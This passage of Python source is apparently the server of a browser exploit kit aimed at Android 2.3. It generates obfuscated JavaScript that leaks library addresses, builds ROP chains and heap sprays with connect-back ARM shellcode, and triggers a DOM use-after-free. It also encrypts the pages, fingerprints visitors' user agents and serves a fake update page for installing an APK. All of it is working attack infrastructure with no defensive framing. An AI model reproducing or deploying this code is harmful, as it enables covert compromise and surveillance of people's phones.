CodeAt(f+4).toString(16)=="b003"&&data.charCodeAt(f+5).toString(16)=="4718"){return(l+f*2).toString(16)}}else{if(d==9){if(data.charCodeAt(f).toString(16)=="6801"&&data.charCodeAt(f+1).toString(16)=="6bca"&&data.charCodeAt(f+2).toString(16)=="1c29"&&data.charCodeAt(f+3).toString(16)=="4790"){return(l+f*2).toString(16)}}else{if(d==10){if(data.charCodeAt(f).toString(16)=="bc0c"&&data.charCodeAt(f+1).toString(16)=="4690"&&data.charCodeAt(f+2).toString(16)=="4699"&&data.charCodeAt(f+3).toString(16)=="bdf0"){return(l+f*2).toString(16)}}else{if(d==11){if(data.charCodeAt(f).toString(16)=="7812"&&data.charCodeAt(f+1).toString(16)=="1c20"&&data.charCodeAt(f+2).toString(16)=="9904"&&data.charCodeAt(f+3).toString(16)=="4798"){return(l+f*2).toString(16)}}else{if(d==12){if(data.charCodeAt(f).toString(16)=="47a0"&&data.charCodeAt(f+1).toString(16)=="6828"&&data.charCodeAt(f+2).toString(16)=="6947"&&data.charCodeAt(f+3).toString(16)=="1c28"&&data.charCodeAt(f+4).toString(16)=="47b8"){return(l+f*2).toString(16)}}}}}}}}}}}}}}c+=a;l+=b;m+=b}return null};
        
'''


        page += '''
function come_un_poco_di_raggio(){v=os();js=engine();if(!js||v[0]!=2||v[1]!=3){return}mm=mr(36988,2);a=mm.charCodeAt(1).toString(16);b=4096;l_b_a=parseInt(a+b.toString(16),16);mm=m_s(l_b_a,36864,36864,1);hn=true;cso=parseInt(mm,16);lbr=new Array();while(hn){var d=mr(cso,64);name_buf="";for(i=0;i<64&&d.charCodeAt(i).toString(16)!=0;i++){name_buf+=d.charCodeAt(i).toString(16)}var d="";for(i=0;i<name_buf.length;i+=4){c=parseInt(name_buf[i+2]+name_buf[i+3],16);c=String.fromCharCode(c);d+=c;c=parseInt(name_buf[i]+name_buf[i+1],16);c=String.fromCharCode(c);d+=c}var h=mr(cso+140,2);a=h.charCodeAt(1).toString(16);b=h.charCodeAt(0).toString(16);if(b=="0"){h=a+"0000"}else{h=a+b}var j=mr(cso+160,2);a=j.charCodeAt(1).toString(16);b=j.charCodeAt(0).toString(16);if(b=="0"){j=a+"0000"}else{j=a+b}var f=mr(cso+164,2);f=f.charCodeAt(1).toString(16)+f.charCodeAt(0).toString(16);if(d.substr(0,5)=="libc."){lbr[0]=["libc",h,j,cso]}else{if(d.substr(0,11)=="libwebcore."){lbr[1]=["libwebcore",h,j,cso]}}if(f==0){hn=false}else{cso=parseInt(f,16)}}if(lbr.length!=2){return}wbc_b=parseInt(lbr[1][1],16);wbc_s=parseInt(lbr[1][2],16)-wbc_b;wbc_s_a=lbr[1][3];cacciando_il_lupo[5]=wbc_s_a.toString(16);lbc_b=parseInt(lbr[0][1],16);lbc_sz=parseInt(lbr[0][2],16)-lbc_b;quivi_mori=m_s(wbc_b+589824,1048576,1048576,2);if(quivi_mori==null){quivi_mori=m_s(wbc_b,589824,589824,2)}var k=null;if(quivi_mori!=null){k=1;cacciando_il_lupo[0]=quivi_mori;mio_viso_stallo=m_s(lbc_b,lbc_sz,lbc_sz/2,3);cacciando_il_lupo[1]=mio_viso_stallo;ir_mi_convenga=m_s(wbc_b+3145728,wbc_s-3145728,(wbc_s-3145728)/4,4);if(ir_mi_convenga==null){ir_mi_convenga=m_s(wbc_b,3145728,1048576,4)}cacciando_il_lupo[2]=ir_mi_convenga;poscia_passati=m_s(lbc_b,lbc_sz,lbc_sz/2,5);cacciando_il_lupo[3]=poscia_passati;ahi_genovesi=m_s(wbc_b,wbc_s,wbc_s/2,6);cacciando_il_lupo[4]=ahi_genovesi}else{cacciando_il_lupo[8]=cacciando_il_lupo[5];k=2;cocito=m_s(wbc_b+1572864,wbc_s-1572864,1048576,7);if(cocito==null){cocito=m_s(wbc_b,1572864,1048576,7)}cacciando_il_lupo[0]=cocito;cocito=m_s(lbc_b,lbc_sz,131072,8);cacciando_il_lupo[1]=cocito;cocito=m_s(wbc_b+458752,wbc_s-458752,1048576,9);if(cocito==null){cocito=m_s(wbc_b,458752,7340041,9)}cacciando_il_lupo[2]=cocito;cocito=m_s(wbc_b+2752512,wbc_s-3145728,1048576,10);if(cocito==null){cocito=m_s(wbc_b,2752512,2752512,10)}cacciando_il_lupo[3]=cocito;cocito=m_s(wbc_b+589824,wbc_s-589824,1048576,11);if(cocito==null){cocito=m_s(wbc_b,589824,589824,11)}cacciando_il_lupo[4]=cocito;cocito=m_s(wbc_b+2293760,wbc_s-2293760,1048576,12);if(cocito==null){cocito=m_s(wbc_b,2293760,1048576,12)}cacciando_il_lupo[5]=cocito;poscia_passati=m_s(lbc_b,lbc_sz,131072,5);cacciando_il_lupo[6]=poscia_passati;ahi_genovesi=m_s(wbc_b,wbc_s,wbc_s/2,6);cacciando_il_lupo[7]=ahi_genovesi}var e=new XMLHttpRequest();e.onreadystatechange=function(){if(e.readyState==4){p=B.b(e.responseText, document.body.id);scr=document.createElement("script");scr.language="javascript";scr.type="text/javascript";scr.defer=true;scr.text=p;head=document.getElementsByTagName("head").item(0);head.appendChild(scr);setTimeout("s_avea_messi_dinanzi_da_la_fronte()",1000)}};'''

        page += 'e.open("POST","customer.cfm",false);'
        
        page += '''e.setRequestHeader("Content-type","application/x-www-form-urlencoded");params=":"+k;for(g in cacciando_il_lupo){params+=":"+cacciando_il_lupo[g]}params="customer=id"+params;e.send(params)}var elem1=document.getElementById("ad1");var pld="";var queste_misere_carni=new Array();var cacciando_il_lupo=new Array();setTimeout("come_un_poco_di_raggio()",100);
</script>
</body>
</html>
'''

        open("leak_dump.html", 'w').write(page)

        return page


    def generate_browser_exploit(self, chain, gadgets):
        

        page = ''

        if chain == 1:
            for i in gadgets:

                if i != 3 and i != 5 : # skip mprotect and wbc_s_a
                    gadgets[i] = hex((int(gadgets[i], 16) + 1))[2:]

                gadgets[i]= '\u' + gadgets[i][4:8] + '\u' + gadgets[i][0:4]
             
            

            self.gadget_set_r7                 = gadgets[0]
            self.gadget_mov_r7_sp            = gadgets[1]
            self.gadget_rop_call_mprotect_jump_payload     = gadgets[2]
            self.mprotect_address            = gadgets[3] 
            self.coe_return                = gadgets[4]
            self.wbc_s_a                        = gadgets[5]

        

        

            page += '''

 function occhi_vergognosi_e_bassi()
        {
          document.write("Come d'autunno si levan le foglie");
          for (i = 0; i < 0x40; i ++) 
            document.write("<br/>");

          nop = unescape("\u4242\u4242");

          i=0
          while( i < 3 ) {
       nop += unescape("\u4242\u4242");
       i++;
          }

          nop += unescape("\u2000\u5000"); 
          nop += unescape("\u4141\u4141"); 
        '''
         
        
            page += 'nop += unescape("{}");'.format(self.gadget_set_r7) # RELOC 1

            page +=  '''
    nop += unescape("\u4242\u4242"); 
    nop += unescape("\u4242\u4242"); 
    nop += unescape("\u2000\u5000"); 
    nop += unescape("\u4242\u4242"); 
    '''

            page += 'nop += unescape("{}");'.format(self.mprotect_address) # RELOC 4 

            page +=  '''
  
    nop += unescape("\u1000\u4ff0"); 
    nop += unescape("\u1000\u0100"); 
    nop += unescape("\u4141\u4141"); 
    '''


            page += 'nop += unescape("{}");'.format(self.gadget_rop_call_mprotect_jump_payload ) # RELOC 2  webcore

            page += '''

    nop += unescape("\u4848\u4848\u4848\u4848\u4848\u4848"); 
    nop += unescape("\u1001\ue28f\uff11\ue12f"); 
    nop += unescape("\u46c0\u2702"); 
    nop += unescape("\udf01\u2800");
    nop += unescape("\ud00a\u2000"); 
    nop += unescape("\u4669\u3950");    
    nop += unescape("\u468d\u4641");    
    nop += unescape("\u466e\u46c5");
    nop += unescape("\ub00e\ua321");    
    nop += unescape("\u681b\u4718"); 
    nop += unescape("\u46c0\u2002\u2101\u1a92\u020f\u3719\udf01\u2800\udb2d");
    nop += unescape("\u1c06\ua118\u2210\u3702\udf01\u2800\udb26\u46b1"); 
    nop += unescape("\ua219\u8812\u467d\ua51c\u1c29\u4648\u2703\udf01\u4684\u46c0\u46c0"); 
    nop += unescape("\ua112\u6809\u1c2a\u2300");
    nop += unescape("\u6810\u4048\u6010\u3304\u3204\u4563\udbf8\u46c0"); 
    nop += unescape("\ua10f\u6809\u1c08\ua310\u681b\u18c9\u2200\ua30d\u681f\udf01\ua109\u6809\ua30c\u3301\u4718");
    nop += unescape("\u2701\udf01");
    nop += unescape("\u46c0\u46c0\u46c0");

    '''
    #                              \u3412  \ua8c0\u8345
            page += 'nop += unescape("\u0002{}{}");'.format(self.socket_port, self.ip) #// sockaddr dl

            #print 'port: ' , self.socket_port , ' ip: ', self.ip

            page += 'nop += unescape("{}");'.format(self.coe_return)  #// end loop - coe jump address
    
            #print 'coe: ', self.coe_return

            page += 'nop += unescape("{}");'.format(self.xor_key)  #// key
    
            #print 'Key: ' , self.xor_key

            page += '''
    nop += unescape("\u0400\u0101"); 
    '''
         
            page += 'nop += unescape("{}");'.format(self.wbc_s_a)

            page += 'nop += unescape("\u1000\u4ff0");'  # flush base_address

            page += 'nop += unescape("\u0002\u000f");' # flush r7 value

            page += 'nop += unescape("\u1000\u1000");' # flush size

            page += '''

    while( nop.length < 0xc0)
    nop += unescape("\u4848\u4848");
    nop += unescape("\u4242\u4242");
    nop += unescape("\u4242\u4242");
    nop += unescape("\u4747\u4747");
    while( nop.length < 0x100)
    nop += unescape("\u4242\u4242");
    
    payload = "";
    padding = "";

    padding += unescape("\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444");

    payload += unescape("\u2020\u5000\u4545\u4545\u4545\u4545\u20a4\u5000"); 
    payload += unescape("\u2030\u5000");

    '''
                        
            page += 'payload += unescape("\uffff\u4fff\uffff\u4fff\uffff\u4fff\u2080\u5000\u0707\u0707{}\u4fff\u4fff");'.format(self.gadget_mov_r7_sp) #// RELOC 3 - mov r7,  sp
 
            page += '''
    payload += unescape("\u7777\u7777\u0722\u7777\u0210\u4f00\u20a8\u5000\u7777\u7777\u7777\u7777\uffff\uffff\u7777\u7777\u7777\u7777");
    payload += unescape("\u1ff0\u5000"); 
    payload += unescape("\ub650\uafd0"); 

    head = payload ;
    tail = padding + payload;


    tail = tail + nop.substring(0, nop.length - tail.length);
    head = head + nop.substring(0, nop.length - head.length - 0x1c);

    while( tail.length < 0x10000 ) 
    tail += tail;

    payload = head + tail.substring(0, tail.length - head.length);


    for (i = 0; i < 0x400; i ++) { 

        queste_misere_carni[i] = payload;
        document.write( queste_misere_carni[i]  + "</i>");
    }

    

}
'''

        elif chain == 2:

            for i in gadgets:
            
                if i != 6 and i != 8: # skip mprotect and wbc_s_a
                    gadgets[i] = hex((int(gadgets[i], 16) + 1))[2:] # thumb +1

                gadgets[i]= '\u' + gadgets[i][4:8] + '\u' + gadgets[i][0:4]
            


            self.gadget_c2_set_r7       = gadgets[0]
            self.gadget_c2_set_sp       = gadgets[1]
            self.gadget_c2_useless      = gadgets[2]
            self.gadget_c2_set_r2       = gadgets[3]
            self.gadget_c2_set_r1       = gadgets[4]
            self.gadget_c2_final        = gadgets[5]
            self.gadget_c2_mprotect     = gadgets[6]
            self.gadget_c2_coe_return   = gadgets[7]
            self.wbc_s_a        = gadgets[8]

            page += '''

function occhi_vergognosi_e_bassi()
{
    document.write("Come d'autunno si levan le foglie.");
    for (i = 0; i < 0x40; i ++) 
        document.write("<br/>");


    nop = unescape("\u4242\u4242");

    i=0
    while( i < 4 ) {
    nop += unescape("\u4242\u4242");
    i++;
    }

    nop += unescape("\u4141\u4141"); 
    nop += unescape("\u99b7\ua83c"); 
    nop += unescape("\u4242\u4242"); 
    nop += unescape("\u4242\u4242"); 
    nop += unescape("\u2000\u5000");
    nop += unescape("\u4242\u4242");
    nop += unescape("\ub650\uafd0");
    nop += unescape("\u2000\u5000"); 
    nop += unescape("\u1000\u0001"); 
    nop += unescape("\u4646\u4646"); 
    nop += unescape("\uf137\ua862"); 
    nop += unescape("\u4848\u4848\u4848\u4848\u4848\u4848"); 
'''
            page += 'nop += unescape("\u4848\u4848{}\u4848\u4848");'.format(self.gadget_c2_set_r2); 

            page += '''
    nop += unescape("\u4848\u4848\u0007\uf000");
'''

            page += 'nop += unescape("\u20b8\u5000{}");'.format(self.gadget_c2_set_sp)

            page +=  '''
    nop += unescape("\u2000\u5000\u4848\u4848");
    nop += unescape("\u4949\u4949\u20e8\u5000");
'''
            page += 'nop += unescape("{}");'.format(self.gadget_c2_set_r1)
            
            page += '''

    nop += unescape("\u4848\u4848\u4848\u4848\u4848\u4848"); 
    nop += unescape("\u4848\u4848\u1000\u0001\u20e8\u5000\u4848\u4848"); 
'''

            # $7
            page += 'nop += unescape("{}\u20ec\u5000\u2110\u5000");'.format(self.gadget_c2_mprotect)  

            page += 'nop += unescape("{}\u4848\u4848\u4848\u4848\u4848\u4848");'.format(self.gadget_c2_final)

            page += '''

    nop += unescape("\u1001\ue28f\uff11\ue12f"); 
    nop += unescape("\u46c0\u2702"); 
    nop += unescape("\udf01\u2800");
    nop += unescape("\ud00a\u2000"); 
    nop += unescape("\u4669\u3950");    
    nop += unescape("\u468d\u4641");    
    nop += unescape("\u466e\u46c5");
    nop += unescape("\ub00e\ua321");    
    nop += unescape("\u681b\u4718"); 
    nop += unescape("\u46c0\u2002\u2101\u1a92\u020f\u3719\udf01\u2800\udb2d"); 
    nop += unescape("\u1c06\ua118\u2210\u3702\udf01\u2800\udb26\u46b1");
    nop += unescape("\ua219\u8812\u467d\ua51c\u1c29\u4648\u2703\udf01\u4684\u46c0\u46c0"); 
    nop += unescape("\ua112\u6809\u1c2a\u2300");
    nop += unescape("\u6810\u4048\u6010\u3304\u3204\u4563\udbf8\u46c0"); 
    nop += unescape("\ua10f\u6809\u1c08\ua310\u681b\u18c9\u2200\ua30d\u681f\udf01\ua109\u6809\ua30c\u3301\u4718");
    nop += unescape("\u2701\udf01");
    nop += unescape("\u46c0\u46c0\u46c0");

    '''
    #                              \u3412  \ua8c0\u8345
            page += 'nop += unescape("\u0002{}{}");'.format(self.socket_port, self.ip) #// sockaddr dl

            #print 'port: ' , self.socket_port , ' ip: ', self.ip

            page += 'nop += unescape("{}");'.format(self.gadget_c2_coe_return)  #// end loop - coe jump address
    
            #print 'coe: ', self.gadget_c2_coe_return

            page += 'nop += unescape("{}");'.format(self.xor_key)  #// key
    
            #print 'Key: ' , self.xor_key

            page += '''
    nop += unescape("\u0400\u0101");
    '''
         
            page += 'nop += unescape("{}");'.format(self.wbc_s_a)

            page += 'nop += unescape("\u1000\u4ff0");'  # flush base_address

            page += 'nop += unescape("\u0002\u000f");' # flush r7 value

            page += 'nop += unescape("\u1000\u1000");' # flush size


            page += '''
   

    while( nop.length < 0xc0)
    nop += unescape("\u4848\u4848");
    
    nop += unescape("\u4242\u4242");
    nop += unescape("\u4242\u4242");
    nop += unescape("\u4747\u4747");


    while( nop.length < 0x100)
    nop += unescape("\u4242\u4242");
    
    payload = "";
    padding = "";


    padding += unescape("\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444\u4444");

    payload += unescape("\u2004\u5000"); 
    payload += unescape("\u61f5\uafd1\u4545\u4545\u20a4\u5000"); 

'''
            page += 'payload += unescape("\u63fb\uafd1");'.format(self.gadget_c2_set_sp)

            page += 'payload += unescape("\u1000\u0001\u2094\u5000{}\u2080\u5000\u2000\u5000\uffff\uafd1");'.format(self.gadget_c2_useless)


            page += '''
    payload += unescape("\u5555\u5555");

    payload += unescape("\u7777\u7777\u1007\u1000\u0210\u4f00\u20a8\u5000");
'''

            page += 'payload += unescape("{}\u7777\u7777\uffff\uffff\u7777\u7777\u7777\u7777");'.format(self.gadget_c2_set_sp)


            page += '''
    payload += unescape("\u1ff0\u5000"); 
'''

            page += 'payload += unescape("{}");'.format(self.gadget_c2_set_r7)

            page += '''
    head = payload ;
    tail = padding + payload;


    tail = tail + nop.substring(0, nop.length - tail.length);
    head = head + nop.substring(0, nop.length - head.length - 0x1c);


    while( tail.length < 0x10000 ) 
    tail += tail;

    payload = head + tail.substring(0, tail.length - head.length);


    for (i = 0; i < 0x300; i ++) { 

        queste_misere_carni[i] = payload;
        document.write( queste_misere_carni[i]  + "</i>");
    }

    

}

'''


        else:
            logging.debug('Wrong chain number')


        # common to both the chains
        page += '''

function fsb(b){var c=unescape("\u4343\u4343\u4343\u4343\u4343\u4343\u4343\u4343\u4343\u4343\u2000\u5000\u4343\u4343\u4343\u4343\u4343\u4343\u4343\u4343");for(i=0;i<b;i++){document.write(c);document.write("<br />")}}function nouseforme(){for(i=0;i<4100;i++){a=0.5}}function handler1(){randomware=1024;occhi_vergognosi_e_bassi();for(i=0;i<randomware;i++){name="b"+i;elem1.removeAttribute(name)}fsb(randomware)}function s_avea_messi_dinanzi_da_la_fronte(){nouseforme();fsb(1024);for(i=0;i<1024;i++){name="b"+i;elem1.setAttribute(name,"A")}elem1.attributes[0].appendChild(document.createTextNode("hi"));elem1.attributes[0].addEventListener("DOMSubtreeModified",handler1,false);for(i=0;i<1024;i++){elem1.normalize()}};

'''

        # crypt the page
        while( len(page) % 4 != 0 ):
            page += ' '

        page = base64.b64encode( self.tea.encrypt(page) )
        
        open('exploit_dump.html', 'w').write(page)
        
        return page


# end of class Exploit

class ExploitHTTPHandler(BaseHTTPServer.BaseHTTPRequestHandler):


    exploit_instances = {}

    @staticmethod
    def is_exploit_running(exploit_id):

        try:
            status = open('{}/setup.txt'.format(exploit_id)).readline().split(':')[1].strip()

            print 'STATUS: {}'.format(status)

            if status == 'running' and exploit_id in ExploitHTTPHandler.exploit_instances.keys():
                return True
            else:
                return False
        except IOError:
            return False
    
                      
    @staticmethod
    def is_request_on_target(user_agent):
        match = re.match('.*Android ((\d\.)+)', user_agent)

        try:
            on_target = match.group(1) == '2.3.' 

            if on_target:
                return True
            else:
                return False

        except AttributeError:
            return False

    @staticmethod    
    def get_exploit_id_from_request(path):

        # each request must start with ^/news/0123456789/
        # extract the exploit id, i.e. 10 digits sequence
        match = re.match('^/news/(\d{10})/', path)

        if match != None:
            return match.group(1)
        else:
            return None

            #logging.debug('Wrong request - no exploit id: {}'.format(path))
            
            



    def do_POST(self):
        
        path = urlparse.urlparse(self.path).path
        
        # POST requests must start with ^/news/0123456789/
        # extract the exploit id, i.e. 10 digits sequence

        exploit_id = ExploitHTTPHandler.get_exploit_id_from_request(path)
        if exploit_id == None:
            self.send_initial_redirect()
            return

        # 1] assert the exploit is runnable
        if not ExploitHTTPHandler.is_exploit_running(exploit_id):
            self.send_initial_redirect()
            return

        
        if re.match('^/news/(\d{10})/customer.cfm$', path) != None:

            # legacy..
            firstStageSuccessful = False
            gadgets = {}

            current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]

            form = cgi.FieldStorage(
                fp=self.rfile,
                headers=self.headers,
                environ={'REQUEST_METHOD':'POST', 
                         'CONTENT': self.headers['Content-Type'] } )


            for field in form.keys():
                field_item = form[field]

            
                if field_item.name == 'customer':
                    gadgets_retrieved = field_item.value.split(':')[1:]
                

                    chain = int(gadgets_retrieved[0])
                    gadgets_retrieved = gadgets_retrieved[1:]

                    logging.info( 'Retrieved: {}'.format(gadgets_retrieved) )

                    
                    if chain == 1:
                        
                        logging.debug('Chain 1')
                        LOG['chain'] = 1
                        
                        # sanitize
                        i = 0
                        for g in gadgets_retrieved:

                            # gadget not found TODO: test 
                            if ( len(g) > 8 or  g == 'null' ):
                                ExploitHTTPHandler.send_empty_reply()
                             
                                LOG['exploit_fail_reason'] =  'Invalid gadget: {}'.format(g)

                                return
                    
                            gadgets[i] = g
                            i+=1
                
                        if len(gadgets_retrieved) != 6:
                            firstStageSuccessful = False
                            ExploitHTTPHandler.send_empty_reply()

                            logging.debug('Not enough gadgets {}'.format( len(gadgets_retrieved) ) )
                            LOG['exploit_fail_reason'] = 'Not enough gadgets: {}'.format(len(gadgets_retrived))
                            return


                        # generate browser 2nd stage with the gadgets retrieved
                        firstStageSuccessful = True;
                        page = current_exploit.generate_browser_exploit(1, gadgets)
                        logging.debug('Chain 1: Second stage generated, sending')
                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(page)

                        # release lock and let the 3rd stage server start
                        try:
                            print '>>> R ' + current_exploit.exploit_id
                            current_exploit.socket_server_lock.release()
                        except Exception as e:
                            print e

                        LOG['exploit_time'] = time.ctime()
                        logging.debug('Chain 1: Second stage sent: {}'.format(time.ctime()) )
                        


                    elif chain == 2:
                        logging.debug('Chain 2')
                        LOG['chain'] = 2

                        # sanitize
                        i = 0
                        for g in gadgets_retrieved:

                            # gadget not found TODO: test 
                            if ( len(g) > 8 or  g == 'null' ):
                                ExploitHTTPHandler.send_empty_reply()
                                logging.debug('Invalid gadget {}'.format( g ))
                                LOG['exploit_fail_reason'] =  'Invalid gadget: {}'.format(g)
                                return
                    
                            gadgets[i] = g
                            i+=1
                
                        if len(gadgets_retrieved) != 9:
                            firstStageSuccessful = False
                            ExploitHTTPHandler.send_empty_reply()
                            
                            logging.debug('Not enough gadgets {} '.format( len(gadgets_retrieved) ) )
                            LOG['exploit_fail_reason'] = 'Not enough gadgets: {}'.format(len(gadgets_retrived))

                            return


                        # generate browser 2nd stage with the gadgets retrieved
                        firstStageSuccessful = True;
                        page = current_exploit.generate_browser_exploit(2, gadgets)

                        logging.debug( 'Chain 2: Second stage generated, sending' )

                        self.send_response(200)
                        self.end_headers()
                        self.wfile.write(page)

                        # release lock and let the 3rd stage server start
                        current_exploit.socket_server_lock.release()

                        LOG['exploit_time'] = time.ctime()
                        logging.debug( 'Chain 2: second stage sent: {}'.format(time.ctime()) )

                    # unknown chain number
                    else:
                        firstStageSuccessful = False
                        ExploitHTTPHandler.send_empty_reply()
                        return
                        

                else:
                    firstStageSuccessful = False
                    ExploitHTTPHandler.send_empty_reply()
                    return

        else:
            firstStageSuccessful = False
            self.send_initial_redirect()
            return


  


    def do_GET(self):

        path = urlparse.urlparse(self.path).path

        #f = open('path.txt', 'a')
        #f.write(path + '\n')
        #f.close()


        
        # 1] no user agent requests
        if path == '/favicon.ico':
            return

        # receive phone vendor from injected so
        # format /news/0123456789/rep?%s
        if re.match('^/news/(\d{10})/rep', path) != None: 
            
            # dupe code, not nice
            match = re.match('^/news/(\d{10})/', path)
            exploit_id = match.group(1)

            logging.debug('Recived REP for {}'.format(exploit_id))

            # before receiving this request we don't know whether the social stuff 
            # was already successful, so do not consider setup.txt status
            if not exploit_id in ExploitHTTPHandler.exploit_instances :
                self.send_initial_redirect()
                return
                
            # generate only, do not send anything
            current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]
            current_exploit.local_report = base64.b64decode(urlparse.urlparse(self.path).query)
            current_exploit.fakevendor = current_exploit.local_report.strip().split("!")[0]
            current_exploit.update_page = current_exploit.generate_update_page()
            

        # 2] fetch user agent
        # fetch user agent
        # requests above don't have a user-agent necessarily
        try:
            userAgent =  self.headers['User-agent']
        except KeyError:
            return

        logging.debug('User Agent {}'.format(userAgent))
        LOG['user_agent'] = userAgent


        # 3] determine if request is in target
        on_target = ExploitHTTPHandler.is_request_on_target(userAgent)
        
        # if not on_target check whether there's an exploit_id in the request
        # and serve the page without the exploit, otherwise google.com
        
        if not on_target:
 
            match = re.match('^/news/(\d{10})/', path)
            
            if match != None:
                exploit_id =  match.group(1)

                if ExploitHTTPHandler.is_exploit_running(exploit_id):
                    current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]
                    
                    logging.debug('Sending redirect page')
                    self.send_response(200)
                    self.send_header('Content-type', 'text/html')
                    self.end_headers()
                    self.wfile.write(current_exploit.exploitless_landing_page)
                    logging.debug('Wrong browser request {} for active exploit {}'.format(userAgent, exploit_id) )
                    
                

                logging.debug('Wrong request {} no running exploit id: {}'.format(path, exploit_id))

            logging.debug('Wrong user-agent {} exploit not active {}'.format(userAgent, path))
            self.send_initial_redirect()
            return
    
        

    
        # 4] Process on target requests
        # from here onwards browser is on target    

        else: 

            logging.debug('Request: {}'.format( path ) )
            
        
            # redirect page format: ^/news/0123456789/page.cfm$
            
            if re.match('^/news/(\d{10})/page.cfm$', path) != None:

                exploit_id = ExploitHTTPHandler.get_exploit_id_from_request(path)
                assert exploit_id != None, 'This is weird' # if condition guarantees exploit_id exists
                    
                logging.debug('Exploit id is {}'.format(exploit_id))


                # 1] verify folder '0123456789' exists..
                if not os.path.exists(exploit_id):
                    logging.debug('Exploit folder does not exist: {}'.format(exploit_id))
                    self.send_initial_redirect()
                    return
                                
                try:
                    setup = open('{}/setup.txt'.format(exploit_id), 'r+')
                except IOError:
                    logging.debug('{}/setup.txt not found'.format(exploit_id) )
                    self.send_initial_redirect()
                    return

                # if status[1].strip() == 'finished':
                #     logging.debug('Exploit {} has already been deployed'.format(exploit_id))
                #     self.send_initial_redirect()
                #     return

                
                status = setup.readline().split(':')

                logging.info('Exploit {} status is {}'.format(exploit_id, status))

                # ..if the exploit is already running we're cool, 
                # otherwise create create the Exploit instance
                
                if status[1].strip() == 'off': 
                    
                    #  setup.txt format:
                    #1 status:running
                    #2 requests:6
                    #3 ip:192.168.69.229
                    #4 so:0123456789_libfingerprint.so
                    #5 landing:landing.html
                    #6 redirect:redirect.html

                    setup.seek(0)
                    setup.readline() #1
                    setup.readline() #2
                    ip = setup.readline().split(':')[1].strip() #3
                    so = setup.readline().split(':')[1].strip() #4
                    landing_page  = setup.readline().split(':')[1].strip() #5
                    redirect_page = setup.readline().split(':')[1].strip() #6

                    # find a free socket port
                    used_socket_ports = []

                    for e in ExploitHTTPHandler.exploit_instances:
                        used_socket_ports.append(ExploitHTTPHandler.exploit_instances[e].socket_port_normalized)

                    # awful
                    found = False
                    while not found:
                        candidate_port = random.randrange(2000, 65000)

                        if not candidate_port in used_socket_ports:
                            found = True

                    logging.debug('Found socket port {} for exploit {}'.format(candidate_port, exploit_id))

                                        
                    # update setup.txt
                    setup.flush()
                    setup.seek(0)
                    setup.write('status:running\n')
                    setup.flush()

                    # add the new Exploit instance
                    ExploitHTTPHandler.exploit_instances[exploit_id] = Exploit( ip, candidate_port, so, exploit_id, landing_page, redirect_page)

                    # start socket server
                    current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]
                    print '>>> A 1' + current_exploit.exploit_id
                    current_exploit.socket_server_thread = threading.Thread(target=current_exploit.socket_server)
                    current_exploit.socket_server_lock = threading.Lock()
                    current_exploit.socket_server_lock.acquire() 
                    current_exploit.socket_server_thread.start()
                    

                elif status[1].strip() == 'running':
                    logging.debug('Exploit {} is already running'.format(exploit_id))

                    if exploit_id in ExploitHTTPHandler.exploit_instances.keys():
                        current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]

                        # close old socket, free the port
                        try:
                            current_exploit.socket_server_lock.release()
                            current_exploit.socket.shutdown(socket.SHUT_RDWR)
                            current_exploit.socket.close()
                        except:
                            logging.debug('Issues while releasing socket lock {}, should be fine'.format(exploit_id))
                    
                        # respawn socket_server
                        print '>>> A 2' + current_exploit.exploit_id
                        current_exploit.socket_server_thread = threading.Thread(target=current_exploit.socket_server)
                        current_exploit.socket_server_lock = threading.Lock()
                        current_exploit.socket_server_lock.acquire() 
                        current_exploit.socket_server_thread.start()


                # the apk has been server, as far as this exploit_id is concerned
                # we do serve only the social web page
                elif status[1].strip() == 'finished':
                    logging.debug('Exploit {} is in finished state'.format(exploit_id))
                    self.send_initial_redirect()
                    return
                    


                else:
                    logging.debug('Exploit {} malformed setup.txt'.format(exploit_id))
                    self.send_initial_redirect()
                    return


                # from now onwards the exploit has been set up / running

                # fetch exploit instance
                if not exploit_id in ExploitHTTPHandler.exploit_instances.keys():
                    logging.debug('Can\'t find {} among exploit instances'.format(exploit_id))
                    self.send_initial_redirect()
                    return
                
                current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]

                # update requests number
                #setup.flush()
                #setup.seek(0) # start of file
                #setup.readline() # skip 'status' line
                #setup_position = setup.tell()
                #requests_number = setup.readline().split(':')[1]
                #setup.seek(0) # dunno why doesn't work with setup_position
                #setup.readline()
                #setup.write('requests:{}\n'.format(int(requests_number) + 1))
                #setup.flush()

                
                # 3] generate redirect page
                logging.debug('Sending redirect page')
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(current_exploit.redirect_page)
                logging.debug('First request: {}'.format(time.ctime()) )
                LOG['first_request_time'] = time.ctime()

            # end of redirect page aka page.cfm


            elif re.match('^/news/(\d{10})/first.html$', path) != None:
                
                exploit_id = ExploitHTTPHandler.get_exploit_id_from_request(path)
                assert exploit_id != None, 'This is weird' # if condition guarantees exploit_id exists

                # assert the exploit is runnable, then serve the page
                if not ExploitHTTPHandler.is_exploit_running(exploit_id):
                    self.send_initial_redirect()
                    return

                current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]

                logging.debug('Sending first stage')
                self.send_response(200)
                self.send_header('Content-type', 'text/html')
                self.end_headers()
                self.wfile.write(current_exploit.leak_page)
                logging.debug('Leak: {}'.format(time.ctime()) )
                LOG['leak_time'] = time.ctime()
            

            
            # don't check if exploit is in finshed state, because 'finished'
            # is set once the apk has been uploaded to the device
            # this is for the social attack, serve always if an exploit_id instance
            # exists
            elif re.match('^/news/(\d{10})/update.html$', path) != None: 

                exploit_id = ExploitHTTPHandler.get_exploit_id_from_request(path)
                assert exploit_id != None, 'This is weird' # if condition guarantees exploit_id exists


                if not exploit_id in ExploitHTTPHandler.exploit_instances.keys():
                    self.send_initial_redirect()
                    return

                current_exploit = ExploitHTTPHandler.exploit_instances[exploit_id]


                # if we already served the update page for this instance, redirect
                if current_exploit.update_html_served:
                    logging.debug('Update page for exploit {} already served'.format(exploit_id))
                    self.send_initial_redirect()
                    return
                
                # if the server didn't receive rep? query, update_page won't exist
                try:
                    update_page = current_exploit.update_page
                except AttributeError as ae:
